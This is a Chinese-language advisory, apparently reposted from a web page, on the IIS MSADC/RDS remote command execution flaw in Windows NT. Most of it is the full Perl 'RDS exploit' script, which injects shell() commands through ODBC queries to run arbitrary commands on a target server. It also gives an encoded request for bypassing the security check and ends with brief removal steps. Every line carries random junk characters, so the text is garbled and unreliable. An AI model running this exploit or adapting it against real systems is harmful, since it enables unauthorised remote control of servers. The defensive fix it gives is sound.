IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9- )qZ
|jG~,{ 涉及程序：
1oY^]OD]W Microsoft NT server
HW[L [&/ a.kbov( 描述：
&ab|2*3?X 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+%#8k9Y jRj=Awy 详细：
X6@w krf- 如果你没有时间读详细内容的话，就删除:
JUt7En;XE c:\Program Files\Common Files\System\Msadc\msadcs.dll
M+Uyb7 有关的安全问题就没有了。
Mi 0sC24b| K -Mc6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
SvuTc!$? 63& ^BW 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,YLF+^w- 关于利用ODBC远程漏洞的描述，请参看:
P+(i^= S ^[q /Mw http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xs$Uf i j8$Zv%Ca% 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
(03pJV&K http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8]"(!i_;) ^& [+H8$ 这里不再论述。
") UwkF #h'@5 l 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
:td ~g;w " ;NRzY /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-$-8W 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
~~qWI>. 4 WeJ@x L -Zc![cAlO #将下面这段保存为txt文件，然后: "perl -x 文件名"
\caH pof rT6?!$"%. #!perl
MDO$m g #
^v ni&sJ # MSADC/RDS 'usage' (aka exploit) script
wEEn? #
0^l%j 8/ # by rain.forest.puppy
L^0v\ #
pGGmA;TC1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
*yaw$oB # beta test and find errors!
*3+-W v#oi0-9o[ use Socket; use Getopt::Std;
3S~(:#| getopts("e:vd:h:XR", \%args);
9l zQ\} q{' ~+Nq print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$dg9z}D c:hK$C)T if (!defined $args{h} && !defined $args{R}) {
Gt-UJ-RR y print qq~
$:bih4 @> Usage: msadc.pl -h <host> { -d <delay> -X -v }
3Qn!y\# -h <host> = host you want to scan (ip or domain)
mY-hN| -d <seconds> = delay between calls, default 1 second
eph)=F$ -X = dump Index Server path table, if available
1|| nR4yK -v = verbose
v F={9G -e = external dictionary file for step 5
"8<K'zeS8 pbBoy+.> Or a -R will resume a command session
{ |<"C? T3,1m=S ~; exit;}
lP _db& 7 &%^>PU7 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:8f[|XR4\N if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
uofr8oL~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0!GAk if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
D d $qQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b>=_*nw9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~^U S/" N|Cs=-+ if (!defined $args{R}){ $ret = &has_msadc;
WlwY <) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5W? PCOh\ -1%OlKC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Lxe^v/LsT . "cmd /c ";
!!,0'c $in=<STDIN>; chomp $in;
OSDy'@
$command="cmd /c " . $in ;
\=e8%.#@J :1wr VU-?h if (defined $args{R}) {&load; exit;}
;y>a
nE}n{ ql{_%x? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
L8$1K &! &try_btcustmr;
1y"3 @ 4GA^h print "\nStep 2: Trying to make our own DSN...";
2W<n5o &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<z)m%*l vU g.DLfwI| print "\nStep 3: Trying known DSNs...";
vfc[p ^ &known_dsn;
DtxE@, )P
Jw+5 print "\nStep 4: Trying known .mdbs...";
|\9Tv N^$` &known_mdb;
t;q7t!sC] n vq3* if (defined $args{e}){
X` r* ob print "\nStep 5: Trying dictionary of DSN names...";
:}}%#/nd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iz^qR={bW |(R5e print "Sorry Charley...maybe next time?\n";
Zj9c9 exit;
d IB }_L x~ DLW 1I ##############################################################################
C"V%# K qYB~VE03 sub sendraw { # ripped and modded from whisker
Nh!_l sleep($delay); # it's a DoS on the server! At least on mine...
=t0tK}Y+4 my ($pstr)=@_;
7(k^a)~PL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4`v!Z#e/aX die("Socket problems\n");
LDj<?' if(connect(S,pack "SnA4x8",2,80,$target)){
oOU1{[ select(S); $|=1;
hlbvt-C?}" print $pstr; my @in=<S>;
WrGK \Vw[ select(STDOUT); close(S);
TpfZ >d2 return @in;
Ty4S~ClO#' } else { die("Can't connect...\n"); }}
5]Da{Wmgs .IrNa>J~ ##############################################################################
4vZ4/#(x #?O & sub make_header { # make the HTTP request
9(_{`2R8 my $msadc=<<EOT
*|:Q%xr- POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7L(e h7 User-Agent: ACTIVEDATA
eny/
fm Host: $ip
Ve 3 ; Content-Length: $clen
B;#J"6w Connection: Keep-Alive
@4+#Xd7" ixfdO\nU ADCClientVersion:01.06
Y}G_Z#- ! Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~f>2U]F>5 -yH,5 vD --!ADM!ROX!YOUR!WORLD!
3c'#6virz Content-Type: application/x-varg
8 ;g Xg Content-Length: $reqlen
lx0 ~>K] B{6<;u)[ EOT
Q(7ob}+jQ ; $msadc=~s/\n/\r\n/g;
~qVz )< return $msadc;}
2?7(A M!m?#x z'c ##############################################################################
t;qP ']2
U] 6&b sub make_req { # make the RDS request
zd %rs~*c my ($switch, $p1, $p2)=@_;
P.\nLE J= my $req=""; my $t1, $t2, $query, $dsn;
P7 y q^| X JGB)3QI if ($switch==1){ # this is the btcustmr.mdb query
} (FPV*mS $query="Select * from Customers where City=" . make_shell();
r`'y?Bra; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ub :ly0;t $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
D)$8 W[ aE VsU|
elsif ($switch==2){ # this is general make table query
<O~WB $query="create table AZZ (B int, C varchar(10))";
\FmKJ\ $dsn="$p1";}
^c}J,tZ] b 0<o elsif ($switch==3){ # this is general exploit table query
VU.@R, $query="select * from AZZ where C=" . make_shell();
@J 'YV{] $dsn="$p1";}
+ =$ Fzq41jiS elsif ($switch==4){ # attempt to hork file info from index server
"eAy^, $query="select path from scope()";
5N7H{vT_ $dsn="Provider=MSIDXS;";}
D/(CU#i" *#U+qgA;` elsif ($switch==5){ # bad query
b {M7w $query="select";
n`7f"'/: $dsn="$p1";}
N#xG3zZl|N ^_+XDO $t1= make_unicode($query);
B}?IEpYp $t2= make_unicode($dsn);
NaU r!s $req = "\x02\x00\x03\x00";
<X7\z $req.= "\x08\x00" . pack ("S1", length($t1));
d3Di/Iej $req.= "\x00\x00" . $t1 ;
)U
t5+-UK $req.= "\x08\x00" . pack ("S1", length($t2));
N5U)*U'-u $req.= "\x00\x00" . $t2 ;
/1w2ehE< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:\
QUs} return $req;}
1QqHF$S cW8 \d ##############################################################################
,Ds.x@p Z=S>0|`R sub make_shell { # this makes the shell() statement
F _ 3:bX return "'|shell(\"$command\")|'";}
d'
>>E gN6r p(?y ##############################################################################
X"MU3] ->{d`-}m' sub make_unicode { # quick little function to convert to unicode
<W)u{KS#TY my ($in)=@_; my $out;
A=5epsB for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
q%YV$$c return $out;}
R,2P3lv1v@ nR;D#"p% ##############################################################################
Ddju~510 25y6a| ` sub rdo_success { # checks for RDO return success (this is kludge)
Ucw yxX I my (@in) = @_; my $base=content_start(@in);
_Xcn
N:Rt if($in[$base]=~/multipart\/mixed/){
`YBkF return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Y4.Eq+$gh return 0;}
GwU?wII j^ 9O*_L:4o ##############################################################################
H].y w9 $(pF;_W sub make_dsn { # this makes a DSN for us
;
0v>Rf a my @drives=("c","d","e","f");
m}
?rJ print "\nMaking DSN: ";
` Nh " foreach $drive (@drives) {
%qf V+^ print "$drive: ";
ef! XV7 P my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~X(UcZ2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
, "0)6=AE . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>g ll-&;t $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
nz.{P@[Qk return 0 if $2 eq "404"; # not found/doesn't exist
^D^JzEy'?C if($2 eq "200") {
revF;l6->C foreach $line (@results) {
O FkNl}D return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
YcX/{L[9o } return 0;}
-Y 9SngxM V%0I%\ 0Y ##############################################################################
IeX^4 rc( G9P!_72 sub verify_exists {
(h-*_a}F4 my ($page)=@_;
,Tagj`@bHc my @results=sendraw("GET $page HTTP/1.0\n\n");
oB1> x^
return $results[0];}
gR^>3n' ~ (On|h ##############################################################################
LjFqZrH t `'iU$:1f sub try_btcustmr {
6R;3%-D my @drives=("c","d","e","f");
q"qo.TPh|$ my @dirs=("winnt","winnt35","winnt351","win","windows");
E\ 8 b,TiMf9},h foreach $dir (@dirs) {
1SIq[1 print "$dir -> "; # fun status so you can see progress
r,P1^ uHx foreach $drive (@drives) {
LA3<=R] print "$drive: "; # ditto
)D-c]+yt $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_?vo U $reqlenlen=length( "$reqlen" );
J
T# d(Y $clen= 206 + $reqlenlen + $reqlen;
&hIRd,1# %6%<?jZ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
W/ay.I if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^rl"rEA else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g?v\!/~(u Lw7=+h) ##############################################################################
V! |qYM. )}%O>% sub odbc_error {
wXjFLg!g? my (@in)=@_; my $base;
s pLZ2]A my $base = content_start(@in);
|WryBzZ>on if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-~" :f8 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1_'? JfY- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j V gFZ, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IxR?' return $in[$base+4].$in[$base+5].$in[$base+6];}
VQI(Vp| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
= VLS/\ A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{Hmo1|_S| $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
yqXH:757~ f
).1]~ ##############################################################################
)py{\r9X [L $9p@I sub verbose {
h4pTq[4* my ($in)=@_;
zjL.Bhiud return if !$verbose;
^ &/G| print STDOUT "\n$in\n";}
SHb(O<6 I:V0Xxz5t ##############################################################################
]&~]#vB# >evS} O6 sub save {
l%R50aL my ($p1, $p2, $p3, $p4)=@_;
R =Ws#' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N r<`Z print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@.$Xv>Jt$ close OUT;}
{ x0 t 6C4'BCYW( ##############################################################################
8;Fn7k_Uf V ( MFna) sub load {
jeyLL< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l=N2lHU open(IN,"<rds.save") || die("Couldn't open rds.save\n");
raVA?|'g~ @p=<IN>; close(IN);
D0(xNhmKz $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;;$# )b $target= inet_aton($ip) || die("inet_aton problems");
C${ S^v print "Resuming to $ip ...";
ajRSMcKb7i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
%n%xR%| if($p[1]==1) {
PfS: AI y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
tj]9~eJ- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ZlYPoOq my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Cd 79 tu| if (rdo_success(@results)){print "Success!\n";}
;Yfv!\^ | else { print "failed\n"; verbose(odbc_error(@results));}}
-7uwOr elsif ($p[1]==3){
[OTJV pC if(run_query("$p[3]")){
b*fgv9Kh' print "Success!\n";} else { print "failed\n"; }}
lDC$F N elsif ($p[1]==4){
R`";Z$~{ if(run_query($drvst . "$p[3]")){
; R=.iOn print "Success!\n"; } else { print "failed\n"; }}
BG^C9*ZuP exit;}
"1q>A t $P7iRM ] ##############################################################################
j6~nE'sQ :M{Y,~cP sub create_table {
qzw'zV my ($in)=@_;
!J*, )kRN $reqlen=length( make_req(2,$in,"") ) - 28;
{HC@u{K - $reqlenlen=length( "$reqlen" );
%u^ J pC{E $clen= 206 + $reqlenlen + $reqlen;
-5>-%13 my @results=sendraw(make_header() . make_req(2,$in,""));
wfL-oi '5 return 1 if rdo_success(@results);
8E&XbqP+ my $temp= odbc_error(@results); verbose($temp);
u JR%0 E7! return 1 if $temp=~/Table 'AZZ' already exists/;
U`Jy!x2m return 0;}
thO ~=RB Ko&hj XHx ##############################################################################
.I VlEG0 3bqC\i^[\m sub known_dsn {
N!Qg; ( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
WD;Y~ | my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
z|7zj/+g "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
< _$%@4 L "banner", "banners", "ads", "ADCDemo", "ADCTest");
bk<\ujH Sx:Ur>?hd5 foreach $dSn (@dsns) {
t#nn@Yf print ".";
LN l#h next if (!is_access("DSN=$dSn"));
3QSZ ZJ if(create_table("DSN=$dSn")){
2>-S-;i print "$dSn successful\n";
o47r<>t if(run_query("DSN=$dSn")){
RO0>I8c1c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$wYty N[ print "Something's borked. Use verbose next time\n";}}} print "\n";}
{Y}dv`G#Iu P+t#4J ##############################################################################
V>64/ ]%uZ\Q;9p sub is_access {
,< <4* my ($in)=@_;
p5O",3,A4 $reqlen=length( make_req(5,$in,"") ) - 28;
bsxTqJ $reqlenlen=length( "$reqlen" );
4ww]9J $clen= 206 + $reqlenlen + $reqlen;
)5%C3/Dl! my @results=sendraw(make_header() . make_req(5,$in,""));
{n g"=3+n my $temp= odbc_error(@results);
4`N t{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
vvB(r! return 0;}
;TcvA /sR%]q
|L ##############################################################################
v{i 7h|e =.|J!x sub run_query {
$rXh0g my ($in)=@_;
r[.> P$U
$reqlen=length( make_req(3,$in,"") ) - 28;
obK*rdg , $reqlenlen=length( "$reqlen" );
<]C$xp<2 $clen= 206 + $reqlenlen + $reqlen;
Nf3.\eR my @results=sendraw(make_header() . make_req(3,$in,""));
Bb& ^ {7 return 1 if rdo_success(@results);
#QvMV y my $temp= odbc_error(@results); verbose($temp);
(v R 9H(# return 0;}
a</D_ 66 ? Y:x[pOe ##############################################################################
\^1+U JU L.xZ_ 6 sub known_mdb {
_<$>*i
R my @drives=("c","d","e","f","g");
Cp^@zw*/ my @dirs=("winnt","winnt35","winnt351","win","windows");
d"G+8}.4 my $dir, $drive, $mdb;
( nW67YTr my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
h0?2j)X_
jNwjK0? # this is sparse, because I don't know of many
&X9Z
W$C my @sysmdbs=( "\\catroot\\icatalog.mdb",
e98lhu"|H "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%or,{mmiM: "\\system32\\certmdb.mdb",
,1q_pep~?% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
<";,GaZQ t3Z_Dp~\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FZd.L6q "\\cfusion\\cfapps\\forums\\forums_.mdb",
SUWD]k >PH "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
, "jbq~ "\\cfusion\\cfapps\\security\\realm_.mdb",
pqvOJ#?Q}= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$@\mpwANl "\\cfusion\\database\\cfexamples.mdb",
yix'rA -T "\\cfusion\\database\\cfsnippets.mdb",
: "6q, W "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
| W$DVRA "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
OQ :dJe6 "\\cfusion\\brighttiger\\database\\cleam.mdb",
oRN-xn g "\\cfusion\\database\\smpolicy.mdb",
%CZ-r"A "\\cfusion\\database\cypress.mdb",
}}QT HR "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
s#h8%[' "\\website\\cgi-win\\dbsample.mdb",
Q|}a R:4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|CgnCUv+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
]U[X1W+@ ); #these are just
JJV0R}z?TV foreach $drive (@drives) {
o
sb Hs$C foreach $dir (@dirs){
z
s Qo$p foreach $mdb (@sysmdbs) {
i$^)UZJ&0 print ".";
[=uo1% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
DfJ2PX}q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
qLncn}oNM if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%zC[KE*~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
S gMrce<; } else { print "Something's borked. Use verbose next time\n"; }}}}}
HQ9f ,< F Kc; W foreach $drive (@drives) {
E}Ci QUx foreach $mdb (@mdbs) {
bLz *A- print ".";
kH*P n' if(create_table($drv . $drive . $dir . $mdb)){
3`hUo5K print "\n" . $drive . $dir . $mdb . " successful\n";
>idBS if(run_query($drv . $drive . $dir . $mdb)){
QYXx:nIrg print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{v a aFs } else { print "Something's borked. Use verbose next time\n"; }}}}
,~ ? 'Ef80 }
O <9~Kgd8h + c:3o* ##############################################################################
6
y"-I !& n U+tM~C%a sub hork_idx {
g}&h l"j print "\nAttempting to dump Index Server tables...\n";
k.h`Cji@ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
W-RqN!snJ8 $reqlen=length( make_req(4,"","") ) - 28;
8pLBt : $reqlenlen=length( "$reqlen" );
IWVlrGyM $clen= 206 + $reqlenlen + $reqlen;
t<uYM my @results=sendraw2(make_header() . make_req(4,"",""));
fBBa4"OK= if (rdo_success(@results)){
8$ xPex~2 my $max=@results; my $c; my %d;
ci,+Bjc for($c=19; $c<$max; $c++){
fkfZ>D^1 $results[$c]=~s/\x00//g;
?wMHS4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
K*K1(_x= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Vi! Q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Xog/O i $d{"$1$2"}="";}
Js g
I ' foreach $c (keys %d){ print "$c\n"; }
8B!aO/Km } else {print "Index server doesn't seem to be installed.\n"; }}
:/YO ni1h JnD {J`: ##############################################################################
&a> lWE y$ Zj?D d# sub dsn_dict {
> 1L=,M open(IN, "<$args{e}") || die("Can't open external dictionary\n");
PZ:u_*Vu` while(<IN>){
I^*'.z!4Q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
P`$12<\O1 next if (!is_access("DSN=$dSn"));
@
\.;b9 if(create_table("DSN=$dSn")){
^ s7,_!.Pq print "$dSn successful\n";
!2Dy_U= if(run_query("DSN=$dSn")){
|ifHSc.j< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sfp,Lq ` print "Something's borked. Use verbose next time\n";}}}
9z
m|Lbj print "\n"; close(IN);}
m(D]qYw h k0?ZYeHC ##############################################################################
Ue5O9;y]u U IJx* sub sendraw2 { # ripped and modded from whisker
x9>\(-uU sleep($delay); # it's a DoS on the server! At least on mine...
,lY aA5&I my ($pstr)=@_;
Q+|{Bs)6i1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
k>4qkigjc die("Socket problems\n");
OQ/<-+<w if(connect(S,pack "SnA4x8",2,80,$target)){
~+D*:7Y_ print "Connected. Getting data";
E
?2O( open(OUT,">raw.out"); my @in;
rt]S\
select(S); $|=1; print $pstr;
oqk VYl E while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*#>F.#9 close(OUT); select(STDOUT); close(S); return @in;
j dut4 nFc } else { die("Can't connect...\n"); }}
FD7H@L5 }pNX@C#De ##############################################################################
R)Q 4 L/}iy} sub content_start { # this will take in the server headers
xIbMs4'iEx my (@in)=@_; my $c;
k@!r#`j3 for ($c=1;$c<500;$c++) {
x
FJg if($in[$c] =~/^\x0d\x0a/){
\jW)Xy if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`T*U]/zQ else { return $c+1; }}}
hi{%pi&!T return -1;} # it should never get here actually
l1_X(Z._V T~4mQuYi ##############################################################################
yT /EHmJ 3EFD%9 n sub funky {
iCG`3(xL my (@in)=@_; my $error=odbc_error(@in);
=?@Q -(bp if($error=~/ADO could not find the specified provider/){
khd5 Cf[ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
'aJgLws*w exit;}
Lrz3 if($error=~/A Handler is required/){
BWPP5X9 print "\nServer has custom handler filters (they most likely are patched)\n";
Lf}8qB#Y exit;}
O0l^*nZ46t if($error=~/specified Handler has denied Access/){
e&Y0}oY print "\nServer has custom handler filters (they most likely are patched)\n";
'E;W exit;}}
j28 _Hh T 8@K^|xeQ ##############################################################################
q?{}3 dPC 6o3 T;h sub has_msadc {
Aw ^yH+ae my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Rz <OF^Iy my $base=content_start(@results);
+}7fg82) return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n"{X!(RIcx return 0;}
kka" C]! <zfe }0 ########################
>O{7/)gS^ {5:Zl<0 I %_MV 解决方案：
=6 %|?5G 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|g)FA_#|< 2、移除web 目录: /msadc
